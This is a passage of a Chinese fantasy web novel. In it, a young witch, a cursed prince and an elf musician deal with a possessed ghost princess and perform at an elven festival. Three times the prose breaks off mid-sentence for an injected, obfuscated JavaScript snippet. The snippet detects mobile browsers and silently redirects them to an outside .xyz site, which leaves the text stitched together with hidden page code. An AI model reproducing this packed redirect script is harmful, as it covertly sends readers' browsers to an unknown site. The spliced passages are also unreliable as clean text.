阿什琳发现自己这才真正活着,在此之前她的人生沉于水下,音乐将她拉上岸边,大口喘息森林的空气。 艾丹的音乐有魔法,她当然知道。但此前她只是听人类乐师弹奏他的音乐。真的听到本人演奏,她几乎要昏迷过去。 恍惚间,她来到狐尾河湾边的白蜡树林里,她的好朋友米娅在她身后,恳求她不要再进一步了。 她大笑着甩开米娅的胳膊,随意捡起树枝当成拐杖,冲林深处出发。 林子里随处可见苔藓、野蘑菇与蒲公英。她寻找着萨诺瓦要求的马鞭草和洋金花,但就算找到也不会停止脚步。 树木向她伸出枝叶,亲昵地蹭着她的胳膊,往她的头发里送小果与落叶。洁白的飞蛾扑向她,仿佛她就是火焰。 她自由了。 她走得太远,渐渐听不到米娅的呼唤声。她在森林里迷失了——不,她会在森林里迷失的。直到音符被抹上蜂蜜一般的金色,在她耳边轻轻吹着,悄声告诉她方向。 苍老的树叶沙沙动起,相互交谈,然后缓缓、缓缓地,以反方向退去,似在拉开戏幕。 幕后是那棵神橡树,鲜翠欲滴,一棵树却比整片森林都更有生命力。唯有它周身泛着若有若无的紫光,令阿什琳稍有不适,但很快也被抛到脑后。 它是如此强大,阿什琳想要向它跪下,献上自己的一切。 她现在知道了。 森林女神在山谷间亲手埋下神橡树之种,祝福精灵这一热爱自然、热爱艺术的长生族,只为令他们与他们的创造都永垂不朽。神橡树的魔力流淌于每个精灵的灵魂中,无时无刻不在提醒:它是源,是根,是始。当神树死去,灵感也将终结。 但紧接着,一段急促、紧凑的旋律又杀进来,好似在否认先前的魔力。它更汹涌,更狂野,更放荡不羁,节奏如万马奔腾。神树在野性的音乐中迅速干枯,所有的水分在几面秒被抽尽。 一曲终了,艾丹优雅地鞠躬,但阿什琳忘记了鼓掌,什么东西从她脸上滑落,可能是魔法颗粒带来的错觉,也可能是眼泪。 “这太……”阿什琳发现自己失去了语言功能。她应该习惯这一点,这是她面对艾丹的常态了。 艾丹没有言语,等待她从魔法中回神。 “所以是这样,”她艰难地说,“神橡树的枯萎让你们的创作灵感也消失殆尽。” “有些精灵,比如我姐姐,是这么认为的。”艾丹说,“但这并非我所想表达。灵感的来源不应该是某种单一具象的事物……神橡树只是启迪了我们,而在启迪之后,它的任务就已结束。它的枯萎不是终点,而是开始。” “我不仅仅将这首音乐送给你,阿什琳。我还会教你如何演奏它。” 阿什琳用袖子蹭了蹭眼角,眼前依然是那棵神树,过了一会儿才反应过来他在说什么。 “只有你才能治愈它,”仿佛看穿了她的心思,艾丹说,“也只有你,才能真正发挥诺卡利魔笛的用途。你是施咒人,而我谱写的乐曲则是咒语。” “你好像很确定。” “如果我没记错的话,卢卡斯王子也是这么说的。你以为自己是为了解除他的诅咒才来——但其实,你们的到来早已星辰被写进命运之中。” “那是他为博你姐姐欢心的话术罢了。我不相信命运,甚至我来精灵谷也只是巧合。” “巧合?不,阿什琳,卢卡斯比你更有远见。你们会拯救伊洛文亚,甚至拯救整片土地。早在你将王子变成黑猫的那一刻,这条路就已经铺好了。”艾丹说,“我知道,黑暗的力量在这片土地之下悄然涌动,而森林之子恰好于此时出现,是命运早已写好的答案。” 阿什琳本只是将卢卡斯的那套话当做蒙骗女王用的恶作剧,没想到艾丹却信以为真。 她相信命运吗? 此前她似乎从未细想过这种问题。 在狐尾河湾,生活是简单的:捣鼓草药,和米娅追跑打闹,在白蜡树林中采蘑菇,就是最大的乐趣。 命运与预言,是只有诗人与学者才去探讨的事物,与她毫不相干。 她甚至很少过问自己的身世,因为那没有意义。萨诺瓦也不知道她的亲生父母是谁,没人知道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296788|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就算知道了又如何?她已经拥有一个家了,不需要另一个。 可现在,她知道自己是森林之子,情况有所转变。她的身份突然就重要起来。 艾丹比她多活了几百年,是智慧的年长者,才华横溢的精灵。他所懂的,当然比她——一个十七岁的乡下女孩,要多得多。 “你知道我的名字是什么意思吗?”艾丹突然问。 阿什琳回想一会儿。艾丹是一个有点烫舌的词语,色调温暖。这是她的全部印象。 “我精灵语学得可不怎么样。” “无论是在精灵语,还是在人类某个民族的语言中,‘艾丹’都意味着火焰。”艾丹说,“这就是为什么我们的相遇与联手命中注定,毕竟,你的名字有灰烬之意。” 阿什琳不清楚艾丹想表达什么,难不成他会把她烧了还是怎样。 “我相当确信,我的养父在给我取名时没想那么多。”她说,“他这么取名只是因为他是在白蜡树林捡到我。” “或许吧,但我认为这都是命运的安排。现在,我会教你这首曲子,接下来的话请你铭记在心。” 他又凭空拿出一只长笛,但是是很普通的一款。 “我刚刚没有选择用长笛演奏,是因为不同乐器所呈现的魔法效果也不尽相同。”艾丹解释道,“鲁特琴是我想向你展示的,而笛子的效果会更接近你最终要为神橡树施展的魔法效果。” 阿什琳真是佩服自己。 白天当模特,傍晚练习森林魔法控制力,晚上学音乐。马上她就可以变成恐怖的全才了。 阿什琳或许不擅长集中注意力,也很难精确控制魔法。可她学一样新东西总是十分迅速。况且,教授者还是最厉害的乐师。一开始她吹奏出来的东西比较接近于即将被杀死的鸡鸣,但不久后她便能断断续续地演奏了。考虑到她其实并没有太多音乐天分,可能是艾丹的魔法助了她一臂之力。 “非常好,”艾丹赞许,“现在万事俱备,只欠魔笛——啊,当然,还有我姐姐对你们的信任。” 阿什琳放下长笛。 “卢卡斯说,有个叫塞提尔的医学徒可能与魔笛的失踪有关。你认识他吗?” 艾丹的手搭在下巴上。 “塞提尔,当然。那孩子的治疗天分很出众。你们怀疑他是在用魔笛的力量治疗?” 她点点头。 “倒不是没有可能,我建议你们之后去问问塔拉的母亲——她是他最新治好的病人。”艾丹说,“不过你们还是先准备星月晚会的那份惊喜大礼吧,我和梅莉娅都期待万分。” 说到这儿,他莫名顿了顿。 “提到星月晚会——你知道晚会之后,我们……” “会举办假面舞会。是啊,我知道。” “那么,你也知道精灵王子有提前邀请舞伴的特权喽?” “什么?” “今年的舞会主题是动物。我只是说,如果你在舞会上看到一只白天鹅……”艾丹笑了笑,“你可以向他走去。” “作为粉丝和她的偶像,对吧?”阿什琳向他确认,“我是说,没有一点浪漫感情的那种舞伴?” 艾丹沉默片刻。 “又或者,老师和他的学徒。”他点头,“如果你不想,是的,没有浪漫感情。” 阿什琳咧开嘴,友好地拍拍他的肩。 就在这时,艾丹的脸色骤然一变。 一阵急促的脚步声从楼梯传来。 他们紧张地向门口望去,见到来人后又松了口气。 人类形态的卢卡斯。 黑头发的男孩气喘吁吁地扶着墙,瞪着女巫和精灵。看样子他是一路跑来的,深蓝色的斗篷歪得乱七八糟。 他跑得过于急促,光滑的地面令他差点跌倒在自己的斗篷上。 “你——你们在干什么?”他先是不满地问,但没等他们回答又立刻说,“不,随你们便,这不重要。重要的是,那幅画出事了。” 阿什琳惊讶地张了张嘴,余光里的艾丹又一次表情古怪。 “卢卡斯?你看上去见鬼了似的。” 卢卡斯干巴巴地笑了一声。 “因为,我的确看见鬼了。” 24.灵魂画手 阿什琳·贝利真是个莫名其妙、冲动鲁莽的冒失鬼,卢卡斯在心里咒骂。和他行动了这么久,竟没有半点长进,依然什么都不说就稀里糊涂地瞎跑。 当然,身为狄亚斯的王子,他不会这么说的——只有当猫时他才能肆无忌惮地表达自我。 但现在太阳落山,他又变回人形。 她怎么能这样一声不吭,把他抛下? 卢卡斯的第一反应是自己做错了什么。 难道他作为猫的行为过于愚蠢,把她吓跑了? 不,看着不像。 她有心事瞒着自己。 但最吓人的不是这个。 最吓人的,是夜幕降临后,希达的画像上冒出的那个小孩。 她和画上的女孩一模一样,眼睛很大,充满泪水,淡淡的眉毛倾斜出忧伤的角度。唯一的区别是,她是半透明的,就像玻璃中的倒影。 七十岁之前的灵魂尚未成型,提前的画作将希达的灵魂留在人世。 卢卡斯对此不算太意外。之前阿什琳提到这点时,他就已经猜到画可能停滞鬼魂的前行。 卢卡斯并不愿意想阿什琳大晚上跑去和艾丹私会意味着什么。也许她终于追星追到失去理智了,竟然在如此关键时刻将他抛弃,甚至都放弃了摸他的机会! 难道她真的更在意这位精灵乐师吗? 他忍不住猜想,来精灵谷本来就正合她心意,也许她一开始的目的就并不纯粹。 她在地牢中亲口承认,她想当一位旅行者,一位冒险家。 现在,她的梦想正在实现。 而他呢? 仍然身负诅咒,前途简直一片黑暗:再不解除诅咒,一是他的父母和全国都会发现;二是他可能永远变成猫,失去人的理智;三是诺克斯或许会抢先一步拿到其他物品,再来找他们。 这样紧张的时刻,她怎能突然离开? 不仅如此,当他说画作出事时,艾丹的神情也令他捉摸不透。 卢卡斯从小生活在交际复杂的宫廷,早就学会解读人的表情。非要猜的话,他会说艾丹隐瞒的事不止一件。 他只能竭力按耐自己的好奇心,不去打听这两人刚刚在干什么,尝试解决眼前的紧急问题。 此时,他们三个都来到阿什琳的房间,小女孩没有走,静坐在床前。她周身散发着暗淡的黑烟,好像从一场大火中走出来一般。 “希达。”艾丹终于开口,“是我。” 女孩回过头。“舅舅。” “我告诉过你不要跑出来的,”艾丹轻声道,“现在情况很危险,神像树生病了,你也有可能被感染。” “等等,”卢卡斯打断他们,“‘告诉过’?您早就知道?” “舅舅经常来看我。”希达语气忧愁,“他想说服我见妈妈,可我不能。我怕她的悲伤淹没自己。为此我甚至烧掉了那幅正式画像……” 阿什琳紧紧盯着希达周身的烟雾,少见地没有发言。 “见到你,她会很开心的。”艾丹说。 “可我没有身体,现在的我只是来自过去的阴影。” “即便如此,她依然会希望见你一眼。” “你不明白。”希达摇摇头,“我必须获得真正的身体。我不能以透明的形态见她。” “希达——” “小心!”阿什琳尖叫道。 希达猛地冲卢卡斯扑过去,卢卡斯迅速向右侧一跃,躲过一劫。 他现在明白阿什琳为什么反常了,她的魔法肯定对希达灵魂中的什么东西产生了感知。 从迷宫而来的黑魔法。 那样污染神像树的黑魔法病毒,也同样感染了希达的灵魂。 房间温度骤降,空气似乎都被冻结,墙上的阴影不安地晃动。 “别被她附身,被黑魔法感染的灵魂附身后会死的!”艾丹大声说,“我的音乐可以暂时净化她。” 他拿出一把鲁特琴,正要开始演奏,却被希达的鬼魂撞飞。 阿什琳操控起房间中先前用来练习的各种植物,可显然它们对一个半透明的幽灵毫无攻击力,只是径直穿了过去。 “只有拥有实体,我才能见母后!”希达高声道,“你们三个中必须有谁借我身体!” 艾丹弹出几个音节,希达猛一转身,将他推到门外,门“碰”地一关。 “现在就剩你们两个人类了。”幽灵女孩儿说,面容依然是悲伤的。 几声微弱的琴音从门外响起,这门有魔法,不仅能防鬼,隔音效果也绝佳,压根儿听不清。希达周身的黑烟只是稍稍淡了些。 门被锁上了,只有阿什琳能打开,可她根本顾不上。 “盐和铁可以驱鬼,阿什琳!” 希达靠近卢卡斯,目光空洞。他连连后退,头抵上墙面。阿什琳慌忙在包里翻找着,几坨废纸、一面小镜子和一瓶水掉在地上。 “我的盐晶在治疗你时就用完了!抱歉!” “铁制武器呢?” 她继续翻找。 希达抬起一根手指,碰上卢卡斯的额头。她的手是如此冰凉,就像一片雪花落下。 但接着她越来越近,那感觉可就没那么像雪花了。卢卡斯感觉自己好像一口气跳进了北冰洋,马上开始裸泳。他的呼吸瞬间凝住了,仿佛肺部的空气被抽空。 那只手沿着额头的触感一路蔓延,像一道霜痕。他下意识往后躲,背部狠狠撞上墙壁,撞出一声闷响。 “神啊,咱们一件铁制品都没有,唯一的武器还是夏洛特送的龙骨弓。我也没学过对付幽灵的咒语!”阿什琳惊恐道,看向卢卡斯,“哦不,你要变成女鬼了。” “多谢提醒,我刚注意到呢。” 这时,艾丹似乎终于用音乐打败了门把手,破门而入。“希达!没想到你这么不挑食,要附身也不选个精灵?” 希达一半陷在卢卡斯里,一半漏在外面。卢卡斯不禁想到,这个场面大概看起来很搞笑——如果他不是受害者的话。 她打量着卢卡斯和艾丹,似乎在掂量谁是更完美的皮囊,接着冲艾丹飞去。 他一个踉跄,兜里的东西掉了出来——一只发光蘑菇。 “精灵谷的彩虹可以通讯,联系骑士长塔拉。我会尽可能拖延时间!” 门再次关上。 卢卡斯立马站起来:“你能召唤彩虹吗?” 阿什琳在萨诺瓦的笔记中翻阅,举着法杖念出一道咒语。什么也没发生。她又念了几遍,但依旧无效。 “我说过我不擅长这类精准的魔法,更何况是气象……” 卢卡斯看着阿什琳捧着的发光蘑菇。 不是什么都要靠咒语解决。 “浴室在哪儿?” “在外面。” 这可糟糕了,他们不能去外面,大乐师正和幽灵奋战呢。他环顾四周,寻找着他们需要的东西,目光锁定在阿什琳刚刚掉的那些事物上。 “你有盆、碗之类的东西吗?” 阿什琳在包里摸索一番,找出一只陶碗。 卢卡斯连忙捡起刚刚阿什琳掉落的水杯和镜子,将水全部倒进碗里,然后把镜子斜斜地插进碗里,动作飞快得像变魔术。 “光。”他向阿什琳伸出手。 阿什琳立刻明白,将从艾丹口袋中掉出的发光蘑菇递给他。它原本只是个不起眼的小玩意,此刻却成为这昏暗房间之中唯一的光源。 他举将蘑菇对准镜子。光线在镜面上游走、反射、弯折,最终击中对面的白墙。 一道绚烂的彩虹,顿时出现在墙上,似乎驱散了房间的所有黑暗。 “我要联系骑士团团长,塔拉。”卢卡斯清晰地说。 虹光微微波动。 果然,那个高颧骨、马尾辫精灵的面孔隐隐约约地显现在彩虹上。 “卢卡斯王子?”塔拉皱起眉头。 卢卡斯语速飞快:“没时间解释,请携带铁剑和盐来阿什琳·贝利的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307525|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间,希达公主的幽灵试图攻击我们。艾丹大人处境危险。” 话音刚落,塔拉就消失了。 阿什琳火速翻着咒语笔记,纸都快被翻烂了,试图找出一两个能帮上忙的咒语。卢卡斯则深吸一口气,打开门。 艾丹的鲁特琴和笛子都离他很远。他被逼到角落,无路可逃。 “别怕,艾丹大人!”阿什琳举着笔记本说,“看我的——这上面说轰炸可能对幽灵有效。” 卢卡斯有一种不祥的预感,他提前为艾丹感到怜悯。 “Aero Terebro!” 一股强烈的气流冲向希达和艾丹。幽灵没有炸开,炸开的是艾丹柔顺的银发。 现在,他拥有了一颗蓬松的爆炸头。 卢卡斯觉得这实在不是可以放声大笑的场合,于是很礼貌地保持了冷静。 “谢谢新发型。”艾丹摸着头发,无奈地说。 希达开始慢慢陷入他体内。 “嘿,公主!”阿什琳喊道,“附身自己的舅舅难道不奇怪么?我建议你冲我来,毕竟都是女孩子。” 希达的幽灵果然还是年龄比较小,很容易被他们忽悠。她再次犹豫,来回看着艾丹和阿什琳,又选择向女巫飘去。 阿什琳念出第二道咒语。 一阵风拂过,除了让卢卡斯感觉凉快了些以外没什么作用。 “呃,尴尬啊。”阿什琳说,“为您扇扇风。” 就在希达透明的手触到阿什琳脖子的那一刹那,一把铁剑挥过。 精灵小公主尖叫一声,化作一缕烟雾,又立刻从卢卡斯一侧冒出来。塔拉迅速围绕希达撒下一圈白盐,困住她。 这下,幽灵彻底没有退路。 艾丹脸色苍白,爬到边缘拾起鲁特琴,面对希达的鬼魂坐下,演奏起来。 卢卡斯难以相信,第一次听自己的偶像真真切切地在面前演奏,竟是在这样离谱的场合。 他的音乐优美而悲伤,比起弹奏更像是在哀悼。带着魔法的旋律令卢卡斯感到哀伤,似乎世界即将终结,他也会和希达一样成为缥缈的鬼魂。 希达身边的黑烟渐渐消散。她本就大的眼睛瞪得更大了,迷茫地看着他们。 艾丹停下演奏。 “这回真的是你,希达!” “舅舅!”希达奔上去想要拥抱他,却发现碰不到,尴尬地放下手。 “希达公主,我有个问题想问你。”阿什琳听起来很严肃,但卢卡斯知道她的问题向来不是那一挂的,“当幽灵是什么感觉?我是说,附身别人,灵魂碰到身体——哎哟!”卢卡斯拍了她一下。 塔拉,则是真的很严肃。 “艾丹大人,任何幽灵都不得出现在伊洛文亚,就算是公主……” “我知道。这都是我的错。”艾丹说,“我已经发现希达的灵魂在画中有一段时间了……没有第一时间上报,只是为了保护我的朋友。塔拉,我希望你也能这么做。” 他意味深长地看了塔拉一眼。 卢卡斯不禁好奇这其中的故事故事——艾丹和塔拉之间有什么关系呢? “如你所愿。”骑士长冷冷道,“那么你们要怎么处置公主的幽灵?我建议,烧掉那幅画,让她彻底安息。” “烧掉画也不会令我安息。”希达说,“我有话对我的母亲说。” “以幽灵形态?”卢卡斯问。 希达点点头:“除非还有更好的方法。” 卢卡斯大脑快速运转。 他本来的计划,成功率只有一半。首先,他无法确定阿什琳能够完成计划;其次,就算她成功了,梅莉娅也不一定被单单一件“艺术品”感动。 但现在希达的灵魂出现了,一切都不再一样。 艾丹说,梅莉娅要是见到她,会很开心的。 希达的灵魂,或许能成为他们打动梅莉娅、找到魔笛的关键。 他嘴角一扬。 的确有更好的方法。 25.星月晚会(上) 亲爱的萨诺瓦: 距离我上次和你写信又隔了一段时间。当然,现在我写信不代表我就原谅你了!你知道我不喜欢被忽视,请你看到就立即回信,好吗好吗? 黑女巫信徒对你的折磨还有影响吗?希望你已经恢复如初!如果你感到不舒服,一定要告诉我,虽然我也不知道自己能帮上什么忙。 我们已经得到了龙火,现在正在伊洛文亚尝试获得风元素物品。卢卡斯认为它是诺卡利魔笛——不知道你有没有听说过,我相信你是知道的!它的意思是“生命之笛”,可以治愈生命。 然而,伊洛文亚和传说中的并不一样。 魔笛失踪了,伊洛文亚的神橡树被从埃多洛迷宫来的黑魔法感染,我们不知道这一切是怎么发生的,二者是否有联系;梅莉娅女王也尚未允许我们寻找并借用魔笛。我和卢卡斯打算用艺术与魔法的结合打动她! 老实说,我不知道这是否是个好主意,但我信任卢卡斯。他比我一开始想得要好多了,没有那么傲慢(千万别告诉他),而且当他站着走路的时候,态度也不错。我完全不明白,为什么他是人和是猫的时候完全不一样,就和精神分裂似的——没夸张,如果你听到那只猫都说过什么鬼话,你也会这么想的。为什么诅咒会有这种影响呢?我从来没有听说过这种事。 好吧,我知道你不怎么喜欢皇室的家伙,但也许咱们对贵族的看法都应该有所改变。 我们离开狄亚斯已经有一段时间了,不知道国王王后有没有起疑心?如果有的话,请你再为我们编造点理由。据我所知,尼古拉斯二世对卢卡斯管得挺严呢。 还有一件事:关于“无味者驻西饮泪”,你有没有什么线索? 我们真的需要一些帮助,尤其是当我发现由于我的过错,卢卡斯可能永远变成猫,并且诺克斯不知怎地知道了谜语,也在找这些物品!反正森林女神给了我这样的警告。 更恐怖的是,诺克斯可能没我们想得那么年轻。 对了,如果你对我的身世还有什么要说的,现在也是告诉我的好时机。森林之子这件事实在来得太突然,最近我们在练习新的森林魔法,让我开始重新审视这件事。 我不知道该怎么接受,而这又意味着什么。 我的父母也是森林巫师吗?为什么他们把我丢在白蜡树林里?森林神的血是否意味着我肩负着某种使命?有个精灵告诉我一切都是命中注定,是真的吗? 哦,萨诺瓦,我真的不知道该怎么办。我的魔法真是一团糟!到底怎么才能记住那些咒语呢?你告诉我用感受,但只有感受可达不成计划。 万一我没有打动梅莉娅,而是激怒了她怎么办? 如果我们不在诺克斯之前拿到物品,不仅卢卡斯会失去人性,黑女巫还会被解放,黑暗时代就要来了!说不定都是我的错! 谁知道我们会被卷入这么大的事件? 哦不,星月晚会马上就要开始了,卢卡斯在叫我,我得走了。天啊。 祝你一切顺利。 又及:请告诉米娅我是在旅行,很快就回来。我不想让她担心。我想念她和她的小狗。 又又及:我突然想起来我的空间剪刀没有魔力了。你能告诉我怎么给它补充能量吗?说不定以后能用上呢。你知道的,我总是丢三落四,需要空间剪刀来找找落在家里的东西。 最爱你的, 阿什琳 —————— 伊洛文亚的橡子广场一年中只有一天会如此热闹,那就是星月晚会。 星月晚会是为了纪念月神与星神,也是为纪念森林之神。这天晚上,所有精灵艺术家都会为大家、为神祇,献上自己最伟大的创造品——戏剧、诗歌、音乐、舞蹈、绘画、雕塑,等等等等,不限形式。 这是一场艺术节,属于艺术家的魔法狂欢;而艺术过后的第二天,便是神秘的假面舞会,精灵们在享受艺术后开始不顾身份地玩乐。 舞台后,一些艺术家还在准备自己的作品。劳瑞尔疯狂地翻阅纸张,几个乐师在角落里弹竖琴排练。 “你可以的你可以的你可以的你可以的……”阿什琳自言自语,感觉自己像个神经病。 “放轻松。”卢卡斯说,“我们练习了那么久,你不会有问题。唯一的问题就是你的紧张。” “我的紧张是最次要的问题。记得我把天花板刺穿了的那次吗?” 卢卡斯一时没吭声,这说明他也很担心待会儿重蹈历史。 “那是个意外。”他好不容易挤出一句。 这敷衍的语气只是阿什琳更惊慌了。她像中了时间循环咒一样在幕后踱步,但来回走不能解决任何问题。 最好看看外面的状况,说不定别的表演很糟糕,这样她就是最出彩的那个。 她悄悄拉开帷幕,向外瞥去。 台下,魔法的光尘四处弥漫,引领方向。清冷色调的灯笼愉快地在半空中悬浮,照亮精灵们期待的面孔。 酒杯在自己飞来飞去,差点撞到观众。一个精灵不耐烦地把酒杯推到一边,那酒杯悲鸣一声,难过地自己碎了,葡萄酒洒了一地。 梅莉娅女王坐在最中央的高台,看不出表情,身边一侧是艾丹。 全场鸦雀无声,静等梅莉娅发言。 “又到了这一刻。”女王的声音经魔法放大,洪亮但并不兴奋,“今夜,银月垂幕,金星为伴,伊洛文亚的子民,再次为森林女神献上颂歌。 “戏剧再现历史,诗歌铭刻心声,音乐沟通灵魂,画笔顶格故事。艺术,是我们血脉中的魔法,是神橡树赐予我们的希望。” 她停顿片刻,目光望向很远的地方。 “我们都清楚,神橡树被病痛缠绕。而今夜的晚会,或将携艺术与灵气于神树,助其恢复神力。请牢记在心:若失神树,艺术将如折翼之鸟,再难翱翔;若失神树,我们的家园,将沦为比北方兽人更悲惨的境地;若失神树,伊洛文亚将不再是伊洛文亚。 “同时,也请允我们铭记,年轻的希达公主不久前进入灵界。这场晚会不仅献给森林女神,献给神树,献给所有伊洛文亚活着的子民,也献给那些死去的灵魂。” 她克制着语调中的悲伤,坐下来。艾丹扶上她的手,安慰地握了握。 阿什琳身边的艺术家们陆续上台。 首先是劳瑞尔。她的展示是一幅巨大的油画,画中是面对面坐着的月神与森林神。二位神灵流光溢彩的长发是施加了咒语的颜料,仿若融化的月亮。 传说中的月亮与森林总是互相扶持,关系比日月更为巧妙,画面也若隐若现地展示着那种似有似无的纽带。 阿什琳并不喜欢这幅画,其中一部分原因可能是因为她和艾丹就是画作的模特,另一部分原因是她向来对这些老旧的故事兴趣不大。她本以为精灵艺术家会更看重自己的表达,而不是一遍又一遍描绘传说中的神祇呢。 但梅莉娅心情不错地点点头——这是她几个月前委托劳瑞尔完成的作品,自然是切合她心意的。 接着是一群乐师,声称是艾丹的学徒。悠扬的乐声一起,观众的目光便迷离起来,好像进入另一个世界。 那轻盈的节奏令阿什琳想要翩跹起舞,令她迷茫自己为何身处此地。上个月,她还在家里做草药;现在,她竟然在看精灵们的表演,就像一场梦。 虽然乐曲本身是艾丹速写的旧乐,但他们的技艺精湛得无可挑剔,梅莉娅女王甚至露出淡淡的微笑。 然后是华美的舞蹈、夸张的戏剧…… 所有精灵的表演都如此出彩,但凡她有一丁点儿失误—— 阿什琳发现自己浑身冒汗,她不能再看了。 但并不完全是因为紧张。相反,还有那么点兴奋。如果令观众们着迷的是她和她的魔法,那将是多么令人飘飘然的感觉! 她想象着自己在台上,植物在森林之血的控制下优美生长,观众席上传来阵阵惊呼,艾丹赞许地笑着,梅莉娅流下感动的泪水。 她,阿什琳,会成为伊洛文亚永垂不朽的历史…… 她幻想得太沉浸,完全没听到主持精灵喊她的名字。 “轮到我们了,阿什琳!”卢卡斯低声道,鼓励一笑,向她伸出手。 她深吸一口气,轻挽住他的胳膊,一起上场。 卢卡斯比她更紧张,她能感受到。他的胳膊在颤抖,眼神飘离。 但除此之外,他隐藏得很好——作为王子,他当然经历过不少面对众人上台的场合,只是他喜不喜欢就另说了。 在踏上舞台的那一瞬间,阿什琳的期待感烟消云散。 成千上万双精灵的眼睛,目不转睛地注视着她。 她好像被扒光了衣服,在所有凝视下慢吞吞地行走。刚才的幻想不过是脆弱的泡泡,轻易地被那些目光扎破。 为什么她还没有晕倒来着? 观众们窃窃私语起来,显然对他们空手上场迷惑不解。 他们没有乐器,没有画作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328970|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没有华服,只是抱着一株盆栽。 这算哪门子艺术表演? “正如梅莉娅陛下先前所言,这场晚会不仅献给我们所有在场的鲜活生命,也献给那些隐入灵界的魂魄。”卢卡斯开口,“我们的作品,是一份献给梅莉娅陛下的礼物,也是一份献给希达公主的礼物。” 梅莉娅的眼睛轻微瞪大了些,但看不出别的情绪。 “接下来,有请阿什琳·贝利——森林之子,为大家献上这份大礼。”卢卡斯鞠了一躬,示意阿什琳。 这一刻终于来临。 阿什琳决定用一个老套的方法:将所有观众都想象成胡萝卜。没有谁在看她。 然而这个方法没有管用,她的魔法微缩在身体最隐秘的角落。她惊恐地发现自己召唤不出任何魔力。 于是,她把胡萝卜换成了卢卡斯。 无数个卢卡斯望着她,有人,也有猫。 就和之前的练习一样。是卢卡斯在教导她,鼓励她,支持她。 她面冲盆栽,抬起手,藤蔓开始螺旋般生长。 魔力自她心中淌出,流畅自然,和她这七天练习的感觉并无差异。 就是这样。 她聚精会神,低念咒语,确保每个音节都准确无误。她在脑海中描摹着希达公主的形象:铜铃般的大眼睛、精巧的鼻子、圆润的下巴、柔软的长发、忧郁的坐姿。 藤蔓在她的意念下增长、弯曲,每个弧度都恰到好处,每个连接点都如她所想。 希达公主先是拥有了藤蔓的骨骼,接着,胸膛又绽开白玫瑰的心脏。它一张一合,模仿心脏真实的跳动。 嫩叶泛起,长枝延展。绿藤顺着人体结构优美地攀爬,交错缠绕,层层叠叠,填补枝干的缝隙,正如为新生的骨架增添血肉。 希达的长发是闪烁金光的纤细枝桠,于微风中自由摇摆。淡黄色的花与略微卷曲的小叶点缀着她的发辫,和真实女孩的发饰别无二致。 阿什琳的魔法植物,赋予了她第二次生命。 她的作品,与其他雕塑都不同——它们由死去的陶土与石膏雕刻,但她却用本就活着的枝藤进行创作。 生命的雕塑,魔法的雕塑,希达的雕塑。 她望向观众,发现他们的眼神真如她想象的那般:钦佩、震惊、着迷。 梅莉娅女王眼眶发红,很明显没料到他们会演这么一出。 阿什琳意识到,此时此刻,她就是全场的主人。 只有这时,梅莉娅不再是女王。 她才是。 阿什琳咧开嘴一笑。 纵使她并没有用任何与心灵相关的魔法,但她的一举一动,都牵动着所有人的内心,这就是艺术存在的意义。 艺术不需要魔法,她心想。 它本身就是魔法。 她曾以为,神橡树的枯萎让精灵的灵感消失殆尽,因此才出现了那么多模板化的作品。 但艾丹认为,神橡树只是某种启迪,并非源泉。 或许他是对的。 所有精灵,或者说所有生物,都不需要神橡树的魔法,才能发挥艺术的魔力——艺术自身的魔力,就早已超越世间所有咒语,而精灵的魔法只是将它们的影响发挥到极致。 这回,她真正地不再紧张。她的魔法终于听她指令,服从于她的意志。 她想起这些天来,房间中那些乱七八糟的植物、翻烂的咒语笔记、失眠带来的黑眼圈。 七天的练习没有白费。 她感觉自己释放了什么真正的力量,某种沉眠的野兽被她的魔法唤醒,大地震动。 然而,正当她洋洋自得地挥手,打算为希达的植物雕像添上花朵之眼时,她却看到了什么。 艾丹。 她的心跳漏了一拍。 精灵大乐师,没有像她想得那样露出任何称赞的表情。 他的神情——她无法形容,但绝对称得上古怪。 没错,他本来的容貌非常俊美,顺滑的银发一丝不苟地梳在后头(两天前他们终于解除了阿什琳送给他的爆炸头),浅色的细眉和头发一样优雅。 但此刻,她却一点也感受不到这样的容貌带来的魅力。 他紫色的眼眸睁得很大,几乎是疯狂的地看着她。 不是偶像对粉丝,不是老师对学徒,甚至也不是少年对迷恋的对象,而是带着某种她无法理解的…… 痴迷? 不。 渴望。 26.星月晚会(下) 阿什琳倏忽觉得,自己不再是人,不再是女巫,而是一串待解的谜题,亦或是一只即将被捕的猎物。 她不再是她自己。 这大概是艾丹无意中流露的,因为阿什琳对上他的目光后,他便立刻收敛,恢复了平日温和的微笑,仿佛刚才只是一阵轻微的凉风拂过。 但阿什琳没有恢复。 艾丹的眼神彻底扰乱了她的思绪。 她是否看花了眼,又或是多虑了? 她做错了哪一步? 